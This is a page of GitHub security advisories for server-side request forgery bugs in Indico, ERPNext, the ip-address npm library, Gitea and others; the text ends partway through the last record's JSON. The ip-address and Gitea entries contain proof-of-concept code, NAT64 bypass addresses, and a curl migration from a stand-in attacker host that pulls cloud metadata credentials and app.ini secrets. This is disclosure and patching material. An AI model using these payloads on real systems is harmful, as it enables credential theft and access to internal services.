CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6723 vulnerabilities reference this CWE, most recent first.
GHSA-2V95-H47V-G4X9
Vulnerability from github – Published: 2026-10-08 22:09 – Updated: 2026-10-08 22:09Impact
Indico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality, but of course it is never intended to let you access "special" targets such as localhost or cloud metadata endpoints. The previous fix (CVE-2026-25738) did not cover an edge case so it was still possible to craft a URL that pointed to a local target but was accepted as valid by Indico.
Patches
You should to update to Indico 3.3.13 as soon as possible. See the docs for instructions on how to update.
Workarounds
If you do not have IPs that expose sensitive data without authentication (typically because you do not host Indico on AWS), this vulnerability doesn't impact you and you can ignore it (but please upgrade anyway). Also, only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. So if you trust your event organizers, the risk is also very limited.
For additional security, both before and after patching, you could also use the common proxy-related environment variables (in particular http_proxy and https_proxy) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services. Please note that setting up such a proxy is not something we can help you with.
For more information
If you have any questions or comments about this advisory:
- Open a thread in our forum
- Email us privately at indico-team@cern.ch
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "indico"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107394"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:09:55Z",
"nvd_published_at": "2026-10-08T20:17:34Z",
"severity": "MODERATE"
},
"details": "### Impact\nIndico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico\u0027s functionality, but of course it is never intended to let you access \"special\" targets such as localhost or cloud metadata endpoints. The previous fix (CVE-2026-25738) did not cover an edge case so it was still possible to craft a URL that pointed to a local target but was accepted as valid by Indico.\n\n### Patches\nYou should to update to [Indico 3.3.13](https://github.com/indico/indico/releases/tag/v3.3.13) as soon as possible.\nSee [the docs](https://docs.getindico.io/en/stable/installation/upgrade/) for instructions on how to update.\n\n### Workarounds\nIf you do not have IPs that expose sensitive data without authentication (typically because you do not host Indico on AWS), this vulnerability doesn\u0027t impact you and you can ignore it (but please upgrade anyway).\nAlso, only event organizers can access endpoints where SSRF could be used to actually see the data returned by such a request. So if you trust your event organizers, the risk is also very limited.\n\nFor additional security, both before and after patching, you could also use the common proxy-related environment variables (in particular `http_proxy` and `https_proxy`) to force outgoing requests to go through a proxy that limits requests in whatever way you deem useful/necessary. These environment variables would need to be set both on the indico-uwsgi and indico-celery services. Please note that setting up such a proxy is not something we can help you with.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open a thread in [our forum](https://talk.getindico.io/)\n- Email us privately at [indico-team@cern.ch](mailto:indico-team@cern.ch)",
"id": "GHSA-2v95-h47v-g4x9",
"modified": "2026-10-08T22:09:55Z",
"published": "2026-10-08T22:09:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/indico/indico/security/advisories/GHSA-2v95-h47v-g4x9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107394"
},
{
"type": "WEB",
"url": "https://github.com/indico/indico/pull/7573"
},
{
"type": "WEB",
"url": "https://github.com/indico/indico/commit/44540e70ab4e20a12f14ddba5218a33749a86736"
},
{
"type": "PACKAGE",
"url": "https://github.com/indico/indico"
},
{
"type": "WEB",
"url": "https://github.com/indico/indico/releases/tag/v3.3.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Indico: Incomplete Server-Side Request Forgery (SSRF) check"
}
GHSA-2VGP-8568-M98F
Vulnerability from github – Published: 2026-04-08 18:34 – Updated: 2026-04-09 21:31A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-31017"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T17:21:18Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as \u003ciframe\u003e that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.",
"id": "GHSA-2vgp-8568-m98f",
"modified": "2026-04-09T21:31:28Z",
"published": "2026-04-08T18:34:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31017"
},
{
"type": "WEB",
"url": "https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31017"
},
{
"type": "WEB",
"url": "http://frappe.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2VR4-CQ9G-PVRC
Vulnerability from github – Published: 2026-09-28 20:43 – Updated: 2026-09-28 20:43Summary
No classifier on Address6 recognizes the NAT64 local-use range 64:ff9b:1::/48 (RFC 8215). isPrivate(), isLoopback(), isLinkLocal() and their siblings all return false for every address in it, so an internal IPv4 destination written through a local-use NAT64 prefix (64:ff9b:1:7f00:0:100:: for 127.0.0.1, 64:ff9b:1:a9fe:a9:fe00:: for 169.254.169.254) reads as an ordinary global address. getType() names the range 'NAT64 (local-use)', so the library knows what the address is and classifies it as nothing.
An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.
Details
The fix for GHSA-22jq-vg5j-6vgg (10.2.1) classifies IPv4-mapped (::ffff:0:0/96) and NAT64 well-known (64:ff9b::/96) addresses by their embedded IPv4 address: embeddedIPv4() in src/ipv6.ts decodes the trailing 32 bits and every special-use classifier delegates to the resulting Address4. Those are the only two ranges embeddedIPv4() handles.
The local-use range differs in kind from the well-known prefix, which is why extending the decoder does not fix it. RFC 8215 reserves 64:ff9b:1::/48 so an operator can carve their own NAT64 prefix out of it, of any length RFC 6052 allows (/48, /56, /64, or /96). Where the IPv4 address sits depends on that choice: 127.0.0.1 is 64:ff9b:1:7f00:0:100:: under a /48 prefix and 64:ff9b:1::7f00:1 under a /96 prefix, and each of those decodes to a different address under the other prefix length. There is no single embedded IPv4 address for the library to classify by.
What is well-defined is the range as a whole. The IANA IPv6 Special-Purpose Address Registry lists 64:ff9b:1::/48 as not globally reachable, and Python's ipaddress module reports is_private as True and is_global as False for every address in it. isPrivate() covered ULA (fc00::/7) plus the decoded mapped and well-known cases, and nothing in the local-use range.
Affected versions
>= 10.2.0, <= 10.5.0. The is* classification API was extended to Address6 in 10.2.0; releases before it do not expose the method and are not affected through this vector.
Impact
Every address in 64:ff9b:1::/48 parses successfully, isValid() is true, and no classifier catches it. Which internal target is reached depends on the NAT64 prefix deployed on the server's network; the well-known prefix column is the patched control from GHSA-22jq-vg5j-6vgg.
| Internal target | Well-known form | Classified | Local-use form (/48 prefix) |
Classified |
|---|---|---|---|---|
127.0.0.1 |
64:ff9b::7f00:1 |
loopback | 64:ff9b:1:7f00:0:100:: |
nothing |
10.0.0.1 |
64:ff9b::a00:1 |
private | 64:ff9b:1:a00:0:100:: |
nothing |
169.254.169.254 |
64:ff9b::a9fe:a9fe |
link-local | 64:ff9b:1:a9fe:a9:fe00:: |
nothing |
192.168.1.1 |
64:ff9b::c0a8:101 |
private | 64:ff9b:1:c0a8:1:100:: |
nothing |
Reachability
Reaching an internal host through one of these addresses requires that the server's network run a NAT64 translator on a prefix inside 64:ff9b:1::/48 and that the attacker guess or know the prefix length. That is the same precondition the well-known prefix carries (a translator on 64:ff9b::/96), with the additional constraint that the prefix is operator-chosen rather than fixed. The severity reflects that precondition.
Proof of concept
npm i ip-address@10.5.0, then:
const { Address6 } = require('ip-address');
// A guard of the shape the library documents.
function isBlocked(host) {
const a = new Address6(host);
return a.isLoopback() || a.isLinkLocal() || a.isPrivate() || a.isMulticast() || a.isUnspecified();
}
for (const h of ['64:ff9b::7f00:1', '64:ff9b:1:7f00:0:100::', '64:ff9b:1::7f00:1']) {
console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h, '-> getType()', new Address6(h).getType());
}
On affected versions:
BLOCK 64:ff9b::7f00:1 -> getType() NAT64 (well-known)
ALLOW 64:ff9b:1:7f00:0:100:: -> getType() NAT64 (local-use)
ALLOW 64:ff9b:1::7f00:1 -> getType() NAT64 (local-use)
Remediation
Upgrade to the patched release. In the fix, isPrivate() returns true for every address in 64:ff9b:1::/48, alongside ULA and the decoded mapped and well-known cases. The range is reported private as a whole rather than by a decoded IPv4 address, for the reason given above; toAddress4Nat64(prefix) remains the way to decode an address under a known deployment prefix. isLoopback() and isLinkLocal() are unchanged for this range, since without the prefix length the library cannot know which IPv4 address is embedded.
If you cannot upgrade immediately, test the range directly:
const NAT64_LOCAL_USE = new Address6('64:ff9b:1::/48');
const localUse = new Address6(host).isHostInSubnet(NAT64_LOCAL_USE);
A note on SSRF defense
These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.5.0"
},
"package": {
"ecosystem": "npm",
"name": "ip-address"
},
"ranges": [
{
"events": [
{
"introduced": "10.2.0"
},
{
"fixed": "10.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101910"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-28T20:43:03Z",
"nvd_published_at": "2026-09-28T18:17:20Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nNo classifier on `Address6` recognizes the NAT64 local-use range `64:ff9b:1::/48` (RFC 8215). `isPrivate()`, `isLoopback()`, `isLinkLocal()` and their siblings all return `false` for every address in it, so an internal IPv4 destination written through a local-use NAT64 prefix (`64:ff9b:1:7f00:0:100::` for `127.0.0.1`, `64:ff9b:1:a9fe:a9:fe00::` for `169.254.169.254`) reads as an ordinary global address. `getType()` names the range `\u0027NAT64 (local-use)\u0027`, so the library knows what the address is and classifies it as nothing.\n\nAn application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.\n\n### Details\n\nThe fix for GHSA-22jq-vg5j-6vgg (10.2.1) classifies IPv4-mapped (`::ffff:0:0/96`) and NAT64 well-known (`64:ff9b::/96`) addresses by their embedded IPv4 address: `embeddedIPv4()` in `src/ipv6.ts` decodes the trailing 32 bits and every special-use classifier delegates to the resulting `Address4`. Those are the only two ranges `embeddedIPv4()` handles.\n\nThe local-use range differs in kind from the well-known prefix, which is why extending the decoder does not fix it. RFC 8215 reserves `64:ff9b:1::/48` so an operator can carve their own NAT64 prefix out of it, of any length RFC 6052 allows (`/48`, `/56`, `/64`, or `/96`). Where the IPv4 address sits depends on that choice: `127.0.0.1` is `64:ff9b:1:7f00:0:100::` under a `/48` prefix and `64:ff9b:1::7f00:1` under a `/96` prefix, and each of those decodes to a different address under the other prefix length. There is no single embedded IPv4 address for the library to classify by.\n\nWhat is well-defined is the range as a whole. The IANA IPv6 Special-Purpose Address Registry lists `64:ff9b:1::/48` as not globally reachable, and Python\u0027s `ipaddress` module reports `is_private` as `True` and `is_global` as `False` for every address in it. `isPrivate()` covered ULA (`fc00::/7`) plus the decoded mapped and well-known cases, and nothing in the local-use range.\n\n### Affected versions\n\n`\u003e= 10.2.0, \u003c= 10.5.0`. The `is*` classification API was extended to `Address6` in 10.2.0; releases before it do not expose the method and are not affected through this vector.\n\n### Impact\n\nEvery address in `64:ff9b:1::/48` parses successfully, `isValid()` is `true`, and no classifier catches it. Which internal target is reached depends on the NAT64 prefix deployed on the server\u0027s network; the well-known prefix column is the patched control from GHSA-22jq-vg5j-6vgg.\n\n| Internal target | Well-known form | Classified | Local-use form (`/48` prefix) | Classified |\n|---|---|---|---|---|\n| `127.0.0.1` | `64:ff9b::7f00:1` | loopback | `64:ff9b:1:7f00:0:100::` | nothing |\n| `10.0.0.1` | `64:ff9b::a00:1` | private | `64:ff9b:1:a00:0:100::` | nothing |\n| `169.254.169.254` | `64:ff9b::a9fe:a9fe` | link-local | `64:ff9b:1:a9fe:a9:fe00::` | nothing |\n| `192.168.1.1` | `64:ff9b::c0a8:101` | private | `64:ff9b:1:c0a8:1:100::` | nothing |\n\n### Reachability\n\nReaching an internal host through one of these addresses requires that the server\u0027s network run a NAT64 translator on a prefix inside `64:ff9b:1::/48` and that the attacker guess or know the prefix length. That is the same precondition the well-known prefix carries (a translator on `64:ff9b::/96`), with the additional constraint that the prefix is operator-chosen rather than fixed. The severity reflects that precondition.\n\n### Proof of concept\n\n`npm i ip-address@10.5.0`, then:\n\n```js\nconst { Address6 } = require(\u0027ip-address\u0027);\n\n// A guard of the shape the library documents.\nfunction isBlocked(host) {\n const a = new Address6(host);\n return a.isLoopback() || a.isLinkLocal() || a.isPrivate() || a.isMulticast() || a.isUnspecified();\n}\n\nfor (const h of [\u002764:ff9b::7f00:1\u0027, \u002764:ff9b:1:7f00:0:100::\u0027, \u002764:ff9b:1::7f00:1\u0027]) {\n console.log(isBlocked(h) ? \u0027BLOCK\u0027 : \u0027ALLOW\u0027, h, \u0027-\u003e getType()\u0027, new Address6(h).getType());\n}\n```\n\nOn affected versions:\n\n```\nBLOCK 64:ff9b::7f00:1 -\u003e getType() NAT64 (well-known)\nALLOW 64:ff9b:1:7f00:0:100:: -\u003e getType() NAT64 (local-use)\nALLOW 64:ff9b:1::7f00:1 -\u003e getType() NAT64 (local-use)\n```\n\n### Remediation\n\nUpgrade to the patched release. In the fix, `isPrivate()` returns `true` for every address in `64:ff9b:1::/48`, alongside ULA and the decoded mapped and well-known cases. The range is reported private as a whole rather than by a decoded IPv4 address, for the reason given above; `toAddress4Nat64(prefix)` remains the way to decode an address under a known deployment prefix. `isLoopback()` and `isLinkLocal()` are unchanged for this range, since without the prefix length the library cannot know which IPv4 address is embedded.\n\nIf you cannot upgrade immediately, test the range directly:\n\n```js\nconst NAT64_LOCAL_USE = new Address6(\u002764:ff9b:1::/48\u0027);\nconst localUse = new Address6(host).isHostInSubnet(NAT64_LOCAL_USE);\n```\n\n### A note on SSRF defense\n\nThese methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the *resolved* IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.",
"id": "GHSA-2vr4-cq9g-pvrc",
"modified": "2026-09-28T20:43:03Z",
"published": "2026-09-28T20:43:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-2vr4-cq9g-pvrc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101910"
},
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/commit/ab3dc88bcf5374344168a2ba075ca7ac4ff257f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/beaugunderson/ip-address"
},
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ip-address: no classifier recognizes the NAT64 local-use range 64:ff9b:1::/48, allowing SSRF and trust-boundary bypass"
}
GHSA-2VW7-MRF4-V3MH
Vulnerability from github – Published: 2026-04-03 18:31 – Updated: 2026-04-03 21:31Microsoft Bing Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2026-32186"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-03T18:16:24Z",
"severity": "MODERATE"
},
"details": "Microsoft Bing Elevation of Privilege Vulnerability",
"id": "GHSA-2vw7-mrf4-v3mh",
"modified": "2026-04-03T21:31:42Z",
"published": "2026-04-03T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32186"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32186"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2VXM-9C9F-7Q2M
Vulnerability from github – Published: 2024-12-10 03:31 – Updated: 2024-12-10 03:31Adobe Document Service allows an attacker with administrator privileges to send a crafted request from a vulnerable web application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. On successful exploitation, the attacker can read or modify any file and/or make the entire system unavailable.
{
"affected": [],
"aliases": [
"CVE-2024-47578"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T01:15:05Z",
"severity": "CRITICAL"
},
"details": "Adobe Document Service allows an attacker with administrator privileges to send a crafted request from a vulnerable web application. It is usually used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. On successful exploitation, the attacker can read or modify any file and/or make the entire system unavailable.",
"id": "GHSA-2vxm-9c9f-7q2m",
"modified": "2024-12-10T03:31:45Z",
"published": "2024-12-10T03:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47578"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3536965"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2W53-3QHG-WQQ3
Vulnerability from github – Published: 2025-07-18 21:30 – Updated: 2025-07-18 21:30A Server-Side Request Forgery (SSRF) in the component TunnelServlet of agorum Software GmbH Agorum core open v11.9.2 & v11.10.1 allows attackers to forcefully initiate connections to arbitrary internal and external resources via a crafted request. This can lead to sensitive data exposure.
{
"affected": [],
"aliases": [
"CVE-2025-52163"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-18T19:15:24Z",
"severity": "MODERATE"
},
"details": "A Server-Side Request Forgery (SSRF) in the component TunnelServlet of agorum Software GmbH Agorum core open v11.9.2 \u0026 v11.10.1 allows attackers to forcefully initiate connections to arbitrary internal and external resources via a crafted request. This can lead to sensitive data exposure.",
"id": "GHSA-2w53-3qhg-wqq3",
"modified": "2025-07-18T21:30:30Z",
"published": "2025-07-18T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52163"
},
{
"type": "WEB",
"url": "https://herolab.usd.de/security-advisories/usd-2025-0025"
},
{
"type": "WEB",
"url": "http://agorum.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2WF9-R2CR-9GR8
Vulnerability from github – Published: 2022-05-14 02:59 – Updated: 2022-05-14 02:59Adobe Experience Manager versions 6.2 and 6.3 have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.
{
"affected": [],
"aliases": [
"CVE-2018-5004"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-20T19:29:00Z",
"severity": "HIGH"
},
"details": "Adobe Experience Manager versions 6.2 and 6.3 have a Server-Side Request Forgery vulnerability. Successful exploitation could lead to sensitive information disclosure.",
"id": "GHSA-2wf9-r2cr-9gr8",
"modified": "2022-05-14T02:59:16Z",
"published": "2022-05-14T02:59:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5004"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2WM4-VWP6-V7XC
Vulnerability from github – Published: 2026-07-21 21:55 – Updated: 2026-09-24 15:29Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}
Callers in migration path:
- services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
- services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches
File: services/migrations/dump.go (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader
File: routers/web/auth/oauth.go (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcher
Contrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)
PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"
Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gitea.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59765"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:55:31Z",
"nvd_published_at": "2026-08-13T17:17:30Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go\u0027s `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n u, err := url.Parse(uriStr)\n switch strings.ToLower(u.Scheme) {\n case \"http\", \"https\":\n f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering\n return f.Body, nil\n case \"file\":\n return os.Open(u.Path) // LOCAL FILE READ via file:// scheme\n }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n resp, err := http.Get(url) // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker\u0027s Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n -H \"Authorization: token ADMIN_API_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n \"repo_name\": \"migrated-repo\",\n \"repo_owner\": \"admin\",\n \"service\": \"gitea\"\n }\u0027\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo\u0027s release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source",
"id": "GHSA-2wm4-vwp6-v7xc",
"modified": "2026-09-24T15:29:33Z",
"published": "2026-07-21T21:55:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59765"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/gitea-1.27.0-is-released"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
